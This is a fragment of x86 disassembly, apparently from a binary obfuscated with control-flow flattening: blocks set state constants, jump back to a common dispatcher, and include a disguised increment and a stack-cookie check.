jmp 0x412bab
mov eax, dword [ebp - 0x45a6c]
mov dword [ebp - 0x45bd8], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041cac0
mov eax, dword [ebp - 0x45bd8]
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x45af4]
mov eax, dword [ebp - 0x45af0]
mov dword [ebp - 0x45bc8], 0x1ef5c7c0
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0x62022c38
jmp 0x412bab
mov eax, dword [ebp - 0x45ba8]
mov dword [ebp - 0x45b98], eax
mov dword [ebp - 0x45bc8], 0x3c3d06bf
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xe200f0b3
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xfbae421d
jmp 0x412bab
mov eax, dword [ebp - 0x45bb4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x45bb4], eax
mov dword [ebp - 0x45bc8], 0xd40be31d
jmp 0x412bab
mov eax, dword [ebp - 0x45b5c]
mov dword [ebp - 0x45bc8], 0x16c706b9
jmp 0x412bab
jmp 0x40e8ac